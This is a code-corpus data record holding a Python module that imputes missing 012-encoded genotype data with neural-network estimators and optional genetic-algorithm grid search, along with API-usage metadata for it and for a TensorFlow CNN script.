"attribute"}, {"api_name": "tensorflow.cast", "line_number": 79, "usage_type": "call"}, {"api_name": "tensorflow.slice", "line_number": 79, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 79, "usage_type": "attribute"}, {"api_name": "tensorflow.reshape", "line_number": 82, "usage_type": "call"}, {"api_name": "tensorflow.slice", "line_number": 82, "usage_type": "call"}, {"api_name": "tensorflow.transpose", "line_number": 86, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 87, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 87, "usage_type": "attribute"}, {"api_name": "tensorflow.image.resize_image_with_crop_or_pad", "line_number": 89, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 89, "usage_type": "attribute"}, {"api_name": "tensorflow.image.random_flip_left_right", "line_number": 93, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 93, "usage_type": "attribute"}, {"api_name": "tensorflow.image.random_brightness", "line_number": 94, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 94, "usage_type": "attribute"}, {"api_name": "tensorflow.image.random_contrast", "line_number": 95, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 95, "usage_type": "attribute"}, {"api_name": "tensorflow.image.per_image_standardization", "line_number": 98, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 98, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 105, "usage_type": "call"}, {"api_name": "os.path", "line_number": 105, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 107, "usage_type": "call"}, {"api_name": "os.path", "line_number": 107, "usage_type": "attribute"}, {"api_name": "tensorflow.train.string_input_producer", "line_number": 108, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 108, "usage_type": "attribute"}, {"api_name": "tensorflow.train.shuffle_batch", "line_number": 119, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 119, "usage_type": "attribute"}, {"api_name": "tensorflow.get_variable", "line_number": 130, "usage_type": "call"}, {"api_name": "tensorflow.truncated_normal_initializer", "line_number": 130, "usage_type": "call"}, {"api_name": "tensorflow.get_variable", "line_number": 132, "usage_type": "call"}, {"api_name": "tensorflow.constant_initializer", "line_number": 132, "usage_type": "call"}, {"api_name": "tensorflow.variable_scope", "line_number": 135, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 137, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.conv2d", "line_number": 139, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 139, "usage_type": "attribute"}, {"api_name": "tensorflow.float32", "line_number": 141, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.bias_add", "line_number": 142, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 142, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.relu", "line_number": 144, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 144, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.max_pool", "line_number": 147, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 147, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.lrn", "line_number": 151, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 151, "usage_type": "attribute"}, {"api_name": "tensorflow.variable_scope", "line_number": 154, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 156, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.conv2d", "line_number": 158, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 158, "usage_type": "attribute"}, {"api_name": "tensorflow.float32", "line_number": 160, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.bias_add", "line_number": 161, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 161, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.relu", "line_number": 163, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 163, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.max_pool", "line_number": 166, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 166, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.lrn", "line_number": 169, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 169, "usage_type": "attribute"}, {"api_name": "tensorflow.reshape", "line_number": 172, "usage_type": "call"}, {"api_name": "tensorflow.variable_scope", "line_number": 176, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 178, "usage_type": "attribute"}, {"api_name": "tensorflow.float32", "line_number": 179, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.relu", "line_number": 180, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 180, "usage_type": "attribute"}, {"api_name": "tensorflow.add", "line_number": 180, "usage_type": "call"}, {"api_name": "tensorflow.matmul", "line_number": 180, "usage_type": "call"}, {"api_name": "tensorflow.variable_scope", "line_number": 183, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 185, "usage_type": "attribute"}, {"api_name": "tensorflow.float32", "line_number": 186, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.relu", "line_number": 187, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 187, "usage_type": "attribute"}, {"api_name": "tensorflow.add", "line_number": 187, "usage_type": "call"}, {"api_name": "tensorflow.matmul", "line_number": 187, "usage_type": "call"}, {"api_name": "tensorflow.variable_scope", "line_number": 190, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 192, "usage_type": "attribute"}, {"api_name": "tensorflow.float32", "line_number": 193, "usage_type": "attribute"}, {"api_name": "tensorflow.add", "line_number": 194, "usage_type": "call"}, {"api_name": "tensorflow.matmul", "line_number": 194, "usage_type": "call"}, {"api_name": "tensorflow.squeeze", "line_number": 202, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 202, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 202, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.sparse_softmax_cross_entropy_with_logits", "line_number": 204, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 204, "usage_type": "attribute"}, {"api_name": "tensorflow.reduce_mean", "line_number": 206, "usage_type": "call"}, {"api_name": "tensorflow.train.exponential_decay", "line_number": 213, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 213, "usage_type": "attribute"}, {"api_name": "tensorflow.train.GradientDescentOptimizer", "line_number": 216, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 216, "usage_type": "attribute"}, {"api_name": "tensorflow.squeeze", "line_number": 225, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 225, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 225, "usage_type": "attribute"}, {"api_name": "tensorflow.cast", "line_number": 227, "usage_type": "call"}, {"api_name": "tensorflow.argmax", "line_number": 227, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 227, "usage_type": "attribute"}, {"api_name": "tensorflow.equal", "line_number": 229, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 231, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 231, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 231, "usage_type": "attribute"}, {"api_name": "tensorflow.variable_scope", "line_number": 243, "usage_type": "call"}, {"api_name": "tensorflow.Variable", "line_number": 261, "usage_type": "call"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 266, "usage_type": "call"}, {"api_name": "tensorflow.train.start_queue_runners", "line_number": 270, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 270, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 296, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 296, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 297, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 297, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 298, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 298, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 299, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 299, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 300, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 300, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 303, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 303, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 304, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 304, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 305, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 305, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 306, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 306, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 307, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 307, "usage_type": "name"}]} +{"seq_id": "34241983879", "text": "# Standard library imports\nimport errno\nimport gc\nimport os\nimport pprint\nimport sys\nfrom contextlib import redirect_stdout\nfrom pathlib import Path\nfrom typing import Optional, Union, Dict, Tuple, Any, Callable\n\n# Third party imports\nimport numpy as np\nimport pandas as pd\n\n# Scikit-learn imports\n\nfrom sklearn_genetic.space import Continuous, Categorical, Integer\n\n# Custom module imports\ntry:\n from ..read_input.read_input import GenotypeData\n from ..utils.misc import get_processor_name\n from ..utils.misc import timer\n\nexcept (ModuleNotFoundError, ValueError):\n from read_input.read_input import GenotypeData\n from utils.misc import get_processor_name\n from utils.misc import timer\n\n# Requires scikit-learn-intellex package\nif get_processor_name().strip().startswith(\"Intel\"):\n try:\n from sklearnex import patch_sklearn\n\n patch_sklearn()\n intelex = True\n except ImportError:\n print(\n \"Warning: Intel CPU detected but scikit-learn-intelex is not \"\n \"installed. We recommend installing it to speed up computation.\"\n )\n intelex = False\nelse:\n intelex = False\n\n\nclass Impute:\n \"\"\"Class to impute missing data from the provided classifier.\n\n The Impute class will run the provided classifier. The settings for the provided estimator should be provided as the ``kwargs`` argument as a dictionary object with the estimator's keyword arguments as the keys and the corresponding values. E.g., ``kwargs={\"n_jobs\", 4, \"initial_strategy\": \"populations\"}``\\. ``clf_type`` just specifies either \"classifier\" or \"regressor\". \"regressor\" is primarily just for quick and dirty testing.\n\n Once the Impute class is initialized, the imputation should be performed with ``fit_predict()``\\.\n\n The imputed data can then be written to a file with ``write_imputed()``\n\n Args:\n clf (str or Callable estimator object): The estimator object to use. The provided value should be SAE, UBP, or NLPCA.\n\n clf_type (str): Specify whether to use a \"classifier\" or \"regressor\". The \"regressor\" option is just for quick and dirty testing, and \"classifier\" should almost always be used.\n\n kwargs (Dict[str, Any]): Settings to use with the estimator. The keys should be the estimator's keywords, and the values should be their corresponding settings.\n\n Raises:\n TypeError: Check whether the ``gridparams`` values are of the correct format if ``gridsearch_method == \"genetic_algorithm\"``\\.\n\n Examples:\n # Don't use parentheses after estimator object.\n >>>imputer = Impute(uml_impute.impute.neural_network_imputer.UBP),\n \"classifier\",\n {\"n_jobs\": 4, \"grid_iter\": 25, \"gridsearch_method\": \"genetic_algorithm\"})\n >>>self.imputed, self.best_params = imputer.fit_predict(df)\n >>>imputer.write_imputed(self.imputed)\n >>>print(self.imputed)\n [[0, 1, 1, 2],\n [0, 1, 1, 2],\n [0, 2, 2, 2],\n [2, 2, 2, 2]]\n \"\"\"\n\n def __init__(\n self, clf: Union[str, Callable], clf_type: str, kwargs: Dict[str, Any]\n ) -> None:\n self.clf = clf\n self.clf_type = clf_type\n self.original_num_cols = None\n\n try:\n self.pops = kwargs[\"genotype_data\"].populations\n except AttributeError:\n self.pops = None\n\n self.genotype_data = kwargs[\"genotype_data\"]\n self.verbose = kwargs[\"verbose\"]\n\n # Separate local variables into settings objects\n (\n self.imp_kwargs,\n self.ga_kwargs,\n self.verbose,\n self.n_jobs,\n self.prefix,\n self.column_subset,\n self.disable_progressbar,\n self.do_gridsearch,\n self.testing,\n ) = self._gather_impute_settings(kwargs)\n\n if self.do_gridsearch:\n for v in kwargs[\"gridparams\"].values():\n if (\n isinstance(v, (Categorical, Integer, Continuous))\n and kwargs[\"gridsearch_method\"].lower()\n != \"genetic_algorithm\"\n ):\n raise TypeError(\n \"gridsearch_method argument must equal 'genetic_algorithm' if gridparams values are of type sklearn_genetic.space\"\n )\n\n self.logfilepath = os.path.join(\n f\"{self.prefix}_output\", \"logs\", \"imputer_progress_log.txt\"\n )\n\n self.invalid_indexes = None\n\n # Remove logfile if exists\n try:\n os.remove(self.logfilepath)\n except OSError:\n pass\n\n # Make output file paths.\n Path(os.path.join(f\"{self.prefix}_output\", \"plots\")).mkdir(\n parents=True, exist_ok=True\n )\n\n Path(os.path.join(f\"{self.prefix}_output\", \"logs\")).mkdir(\n parents=True, exist_ok=True\n )\n\n Path(os.path.join(f\"{self.prefix}_output\", \"reports\")).mkdir(\n parents=True, exist_ok=True\n )\n\n Path(os.path.join(f\"{self.prefix}_output\", \"alignments\")).mkdir(\n parents=True, exist_ok=True\n )\n\n @timer\n def fit_predict(\n self, X: pd.DataFrame\n ) -> Tuple[pd.DataFrame, Dict[str, Any]]:\n \"\"\"Fit and predict imputations with neural network models.\n\n Fits and predicts imputed 012-encoded genotypes using deep learning with any of the models. If ``gridsearch_method=None``\\, then a grid search is not performed. If ``gridsearch_method!=None``\\, then one of three possible types of grid searches is performed and a final imputation is done on the whole dataset using the best found parameters.\n\n Args:\n X (pandas.DataFrame): DataFrame with 012-encoded genotypes.\n\n Returns:\n GenotypeData: GenotypeData object with missing genotypes imputed.\n Dict[str, Any]: Best parameters found during grid search.\n \"\"\"\n\n # Test if output file can be written to\n try:\n outfile = os.path.join(\n f\"{self.prefix}_output\", \"alignments\", \"imputed_012.csv\"\n )\n\n # Check if it can be opened.\n with open(outfile, \"w\") as fout:\n pass\n except IOError as e:\n print(f\"Error: {e.errno}, {e.strerror}\")\n if e.errno == errno.EACCES:\n sys.exit(f\"Permission denied: Cannot write to {outfile}\")\n elif e.errno == errno.EISDIR:\n sys.exit(f\"Could not write to {outfile}; It is a directory\")\n\n # Don't do a grid search\n if not self.do_gridsearch:\n imputed_df, df_scores, best_params = self._impute_single(X)\n\n # Do a grid search and get the transformed data with the best parameters\n else:\n imputed_df, df_scores, best_params = self._impute_gridsearch(X)\n\n if self.verbose > 0:\n print(\"\\nBest Parameters:\")\n pprint.pprint(best_params)\n\n imp_data = self._imputed2genotypedata(imputed_df, self.genotype_data)\n\n print(\"\\nDone!\\n\")\n return imp_data, best_params\n\n def _impute_single(\n self, df: pd.DataFrame\n ) -> Tuple[pd.DataFrame, pd.DataFrame, None]:\n \"\"\"Train model with static parameters (i.e., no grid search).\n\n Args:\n df (pandas.DataFrame): DataFrame of 012-encoded genotypes.\n\n Returns:\n pandas.DataFrame: Imputed DataFrame of 012-encoded genotypes.\n NoneType: Only used with _impute_gridsearch. Set to None here for compatibility.\n \"\"\"\n if self.verbose > 0:\n print(\n f\"\\nDoing {self.clf.__name__} imputation with static parameters...\"\n )\n\n imputer = None\n\n if self.original_num_cols is None:\n self.original_num_cols = len(df.columns)\n\n if self.disable_progressbar:\n if self.verbose > 0:\n with open(self.logfilepath, \"a\") as fout:\n # Redirect to progress logfile\n with redirect_stdout(fout):\n print(f\"Doing {self.clf.__name__} imputation...\\n\")\n\n imputed_df = self._impute_df(df, imputer)\n\n if self.disable_progressbar:\n if self.verbose > 0:\n with open(self.logfilepath, \"a\") as fout:\n # Redirect to progress logfile\n with redirect_stdout(fout):\n print(f\"\\nDone with {self.clf.__name__} imputation!\\n\")\n\n gc.collect()\n\n self._validate_imputed(imputed_df)\n\n if self.verbose > 0:\n print(f\"\\nDone with {self.clf.__name__} imputation!\\n\")\n\n return imputed_df, None, None\n\n def _impute_gridsearch(\n self, df: pd.DataFrame\n ) -> Tuple[pd.DataFrame, pd.DataFrame, Dict[str, Any]]:\n \"\"\"Do parameter search with GridSearchCV, RandomizedSearchCV, or GASearchCV.\n\n Args:\n df (pandas.DataFrame): DataFrame with 012-encoded genotypes.\n\n Returns:\n pandas.DataFrame: DataFrame with 012-encoded genotypes imputed using the best parameters found with the grid search.\n float: Absolute value of best score found during the grid search.\n dict: Best parameters found during the grid search.\n \"\"\"\n original_num_cols = len(df.columns)\n df_subset, cols_to_keep = self._subset_data_for_gridsearch(\n df, self.column_subset, original_num_cols\n )\n\n print(f\"Doing {self.clf.__name__} grid search...\")\n\n if self.verbose > 0:\n print(f\"Validation dataset size: {len(df_subset.columns)}\\n\")\n\n if self.disable_progressbar:\n with open(self.logfilepath, \"a\") as fout:\n # Redirect to progress logfile\n with redirect_stdout(fout):\n print(f\"Doing {self.clf.__name__} grid search...\\n\")\n\n self.imp_kwargs.pop(\"str_encodings\")\n imputer = self.clf(\n **self.imp_kwargs,\n ga_kwargs=self.ga_kwargs,\n )\n\n df_imp = pd.DataFrame(\n imputer.fit_transform(df_subset), columns=cols_to_keep\n )\n\n df_imp = df_imp.astype(\"float\")\n df_imp = df_imp.astype(\"int64\")\n\n if self.verbose > 0:\n print(f\"\\nDone with {self.clf.__name__} grid search!\")\n\n if self.disable_progressbar:\n if self.verbose > 0:\n with open(self.logfilepath, \"a\") as fout:\n # Redirect to progress logfile\n with redirect_stdout(fout):\n print(\n f\"\\nDone with {self.clf.__name__} grid search!\"\n )\n\n best_params = imputer.best_params_\n df_scores = imputer.best_score_\n df_scores = round(df_scores, 2) * 100\n best_imputer = None\n\n self._write_imputed_params_score(df_scores, best_params)\n\n # Change values to the ones in best_params\n self.imp_kwargs.update(best_params)\n\n gc.collect()\n\n if self.verbose > 0:\n print(\n f\"\\nDoing {self.clf.__name__} imputation \"\n f\"with best found parameters...\\n\"\n )\n\n if self.disable_progressbar:\n with open(self.logfilepath, \"a\") as fout:\n # Redirect to progress logfile\n with redirect_stdout(fout):\n print(\n f\"\\nDoing {self.clf.__name__} imputation \"\n f\"with best found parameters...\\n\"\n )\n\n if self.column_subset == 1.0:\n imputed_df = df_imp.copy()\n else:\n imputed_df = self._impute_df(df, best_imputer)\n\n gc.collect()\n\n self._validate_imputed(imputed_df)\n\n if self.verbose > 0:\n print(f\"Done with {self.clf.__name__} imputation!\\n\")\n\n if self.disable_progressbar:\n with open(self.logfilepath, \"a\") as fout:\n # Redirect to progress logfile\n with redirect_stdout(fout):\n print(f\"Done with {self.clf.__name__} imputation!\\n\")\n\n return imputed_df, df_scores, best_params\n\n def _impute_df(\n self,\n df: pd.DataFrame,\n ) -> pd.DataFrame:\n \"\"\"Impute list of pandas.DataFrame objects.\n\n The DataFrames are chunks of the whole input data, with each chunk correspoding to ``chunk_size`` features from ``_df2chunks()``\\.\n\n Args:\n df_chunks (pandas.DataFrame): Dataframe with shape (n_samples, n_features).\n\n Returns:\n pandas.DataFrame: Single DataFrame object, with all the imputed chunks concatenated together.\n \"\"\"\n imputer = self.clf(\n self.imp_kwargs[\"genotype_data\"],\n disable_progressbar=self.disable_progressbar,\n prefix=self.prefix,\n )\n df_imp = pd.DataFrame(\n imputer.fit_transform(df),\n )\n df_imp = df_imp.astype(\"float\")\n df_imp = df_imp.astype(\"Int8\")\n\n gc.collect()\n return df_imp\n\n def _imputed2genotypedata(self, imp012, genotype_data):\n \"\"\"Create new instance of GenotypeData object from imputed DataFrame.\n\n The imputed, decoded DataFrame gets written to file and re-loaded to instantiate a new GenotypeData object.\n\n Args:\n imp012 (pandas.DataFrame): Imputed 012-encoded DataFrame.\n\n genotype_data (GenotypeData): Original GenotypeData object to load attributes from.\n\n Returns:\n GenotypeData: GenotypeData object with imputed data.\n \"\"\"\n imputed_filename = genotype_data.decode_imputed(\n imp012,\n write_output=True,\n prefix=self.prefix,\n )\n\n ft = genotype_data.filetype\n\n if ft.lower().startswith(\"structure\") and ft.lower().endswith(\"row\"):\n ft += \"PopID\"\n\n return GenotypeData(\n filename=imputed_filename,\n filetype=ft,\n popmapfile=genotype_data.popmapfile,\n guidetree=genotype_data.guidetree,\n qmatrix_iqtree=genotype_data.qmatrix_iqtree,\n qmatrix=genotype_data.qmatrix,\n siterates=genotype_data.siterates,\n siterates_iqtree=genotype_data.siterates_iqtree,\n prefix=genotype_data.prefix,\n verbose=False,\n )\n\n def _subset_data_for_gridsearch(\n self,\n df: pd.DataFrame,\n columns_to_subset: Union[int, float],\n original_num_cols: int,\n ) -> Tuple[pd.DataFrame, np.ndarray]:\n \"\"\"Randomly subsets pandas.DataFrame.\n\n Subset pandas DataFrame with ``column_percent`` fraction of the data. Allows for faster validation.\n\n Args:\n df (pandas.DataFrame): DataFrame with 012-encoded genotypes.\n\n columns_to_subset (int or float): If float, proportion of DataFrame to randomly subset should be between 0 and 1. if integer, subsets ``columns_to_subset`` random columns.\n\n original_num_cols (int): Number of columns in original DataFrame.\n\n Returns:\n pandas.DataFrame: New DataFrame with random subset of features.\n numpy.ndarray: Sorted numpy array of column indices to keep.\n\n Raises:\n TypeError: column_subset must be of type float or int.\n \"\"\"\n\n # Get a random numpy arrray of column names to select\n if isinstance(columns_to_subset, float):\n n = int(original_num_cols * columns_to_subset)\n elif isinstance(columns_to_subset, int):\n n = columns_to_subset\n else:\n raise TypeError(\n f\"column_subset must be of type float or int, \"\n f\"but got {type(columns_to_subset)}\"\n )\n\n col_arr = np.array(df.columns)\n\n if n > len(df.columns):\n if self.verbose > 0:\n print(\n \"Warning: Column_subset is greater than remaining columns following filtering. Using all columns\"\n )\n\n df_sub = df.copy()\n cols = col_arr.copy()\n else:\n cols = np.random.choice(col_arr, n, replace=False)\n df_sub = df.loc[:, np.sort(cols)]\n\n df_sub.columns = df_sub.columns.astype(str)\n\n return df_sub, np.sort(cols)\n\n def _write_imputed_params_score(\n self, df_scores: pd.DataFrame, best_params: Dict[str, Any]\n ) -> None:\n \"\"\"Save best_score and best_params to files on disk.\n\n Args:\n best_score (float): Best RMSE or accuracy score for the regressor or classifier, respectively.\n\n best_params (dict): Best parameters found in grid search.\n \"\"\"\n\n best_score_outfile = os.path.join(\n f\"{self.prefix}_output\", \"reports\", \"imputed_best_score.csv\"\n )\n best_params_outfile = os.path.join(\n f\"{self.prefix}_output\", \"reports\", \"imputed_best_params.csv\"\n )\n\n if isinstance(df_scores, pd.DataFrame):\n df_scores.to_csv(\n best_score_outfile,\n header=True,\n index=False,\n float_format=\"%.2f\",\n )\n\n else:\n with open(best_score_outfile, \"w\") as fout:\n fout.write(f\"accuracy,{df_scores}\\n\")\n\n with open(best_params_outfile, \"w\") as fout:\n fout.write(\"parameter,best_value\\n\")\n for k, v in best_params.items():\n fout.write(f\"{k},{v}\\n\")\n\n def _validate_imputed(self, df: pd.DataFrame) -> None:\n \"\"\"Asserts that there is no missing data left in the imputed DataFrame.\n\n Args:\n df (pandas.DataFrame): DataFrame with imputed 012-encoded genotypes.\n\n Raises:\n AssertionError: Error if missing values are still found in the dataset after imputation.\n \"\"\"\n assert (\n not df.isnull().values.any()\n ), \"Imputation failed...Missing values found in the imputed dataset\"\n\n def _gather_impute_settings(\n self, kwargs: Dict[str, Any]\n ) -> Tuple[\n Optional[Dict[str, Any]],\n Optional[int],\n Optional[int],\n Optional[str],\n Optional[Union[int, float]],\n Optional[bool],\n Optional[bool],\n Optional[bool],\n ]:\n \"\"\"Gather impute settings from kwargs object.\n\n Gather impute settings from the imputation class. Gathers them for use with the ``Impute`` class. Returns dictionary with keys as keyword arguments and the values as the settings.\n\n Args:\n kwargs (Dict[str, Any]): Dictionary with keys as the keyword arguments and their corresponding values.\n\n Returns:\n Dict[str, Any]: Imputer keyword arguments.\n Dict[str, Any]: Genetic algorithm keyword arguments.\n int: Verbosity setting. 0 is silent, 2 is most verbose.\n int: Number of processors to use with grid search.\n str or None: Prefix for output files.\n int or float: Proportion of dataset (if float) or number of columns (if int) to use for grid search.\n bool: If True, disables the tqdm progress bar and just prints status updates to a file. If False, uses tqdm progress bar.\n bool: True if doing grid search, False otherwise.\n bool: Whether to make test prints when training model.\n \"\"\"\n n_jobs = kwargs.pop(\"n_jobs\", 1)\n column_subset = kwargs.pop(\"column_subset\", None)\n verbose = kwargs.get(\"verbose\", 0)\n disable_progressbar = kwargs.get(\"disable_progressbar\", False)\n prefix = kwargs.get(\"prefix\")\n testing = kwargs.get(\"testing\", False)\n do_gridsearch = False if kwargs[\"gridsearch_method\"] is None else True\n\n imp_kwargs = kwargs.copy()\n ga_kwargs = kwargs.copy()\n\n to_remove = [\"self\", \"__class__\"]\n\n ga_keys = [\n \"population_size\",\n \"tournament_size\",\n \"elitism\",\n \"crossover_probability\",\n \"mutation_probability\",\n \"ga_algorithm\",\n ]\n\n for k in imp_kwargs.copy().keys():\n if k in to_remove:\n imp_kwargs.pop(k)\n\n for k in ga_kwargs.copy().keys():\n if k not in ga_keys:\n ga_kwargs.pop(k)\n\n for k in imp_kwargs.copy().keys():\n if k in ga_keys:\n imp_kwargs.pop(k)\n\n if \"ga_algorithm\" in ga_kwargs:\n ga_kwargs[\"algorithm\"] = ga_kwargs.pop(\"ga_algorithm\")\n\n return (\n imp_kwargs,\n ga_kwargs,\n verbose,\n n_jobs,\n prefix,\n column_subset,\n disable_progressbar,\n do_gridsearch,\n testing,\n )\n", "repo_name": "btmartin721/uml_imputer", "sub_path": "uml_imputer/impute/impute.py", "file_name": "impute.py", "file_ext": "py", "file_size_in_byte": 20824, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "utils.misc.get_processor_name", "line_number": 31, "usage_type": "call"}, {"api_name": "sklearnex.patch_sklearn", "line_number": 35, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 81, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 81, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 81, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 81, "usage_type": "name"}, {"api_name": "sklearn_genetic.space.Categorical", "line_number": 111, "usage_type": "name"}, {"api_name": "sklearn_genetic.space.Integer", "line_number": 111, "usage_type": "name"}, {"api_name": "sklearn_genetic.space.Continuous", "line_number": 111, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 119, "usage_type": "call"}, {"api_name": "os.path", "line_number": 119, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 127, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 132, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 132, "usage_type": "call"}, {"api_name": "os.path", "line_number": 132, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 136, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 136, "usage_type": "call"}, {"api_name": "os.path", "line_number": 136, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 140, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 140, "usage_type": "call"}, {"api_name": "os.path", "line_number": 140, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 144, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 144, "usage_type": "call"}, {"api_name": "os.path", "line_number": 144, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 150, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 166, "usage_type": "call"}, {"api_name": "os.path", "line_number": 166, "usage_type": "attribute"}, {"api_name": "errno.EACCES", "line_number": 175, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 176, "usage_type": "call"}, {"api_name": "errno.EISDIR", "line_number": 177, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 178, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 190, "usage_type": "call"}, {"api_name": "utils.misc.timer", "line_number": 148, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 151, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 151, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 151, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 151, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 198, "usage_type": "attribute"}, {"api_name": "contextlib.redirect_stdout", "line_number": 223, "usage_type": "call"}, {"api_name": "contextlib.redirect_stdout", "line_number": 232, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 235, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 199, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 199, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 245, "usage_type": "attribute"}, {"api_name": "contextlib.redirect_stdout", "line_number": 270, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 279, "usage_type": "call"}, {"api_name": "contextlib.redirect_stdout", "line_number": 293, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 308, "usage_type": "call"}, {"api_name": "contextlib.redirect_stdout", "line_number": 319, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 330, "usage_type": "call"}, {"api_name": "contextlib.redirect_stdout", "line_number": 340, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 246, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 246, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 246, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 246, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 347, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 364, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 370, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 348, "usage_type": "attribute"}, {"api_name": "read_input.read_input.GenotypeData", 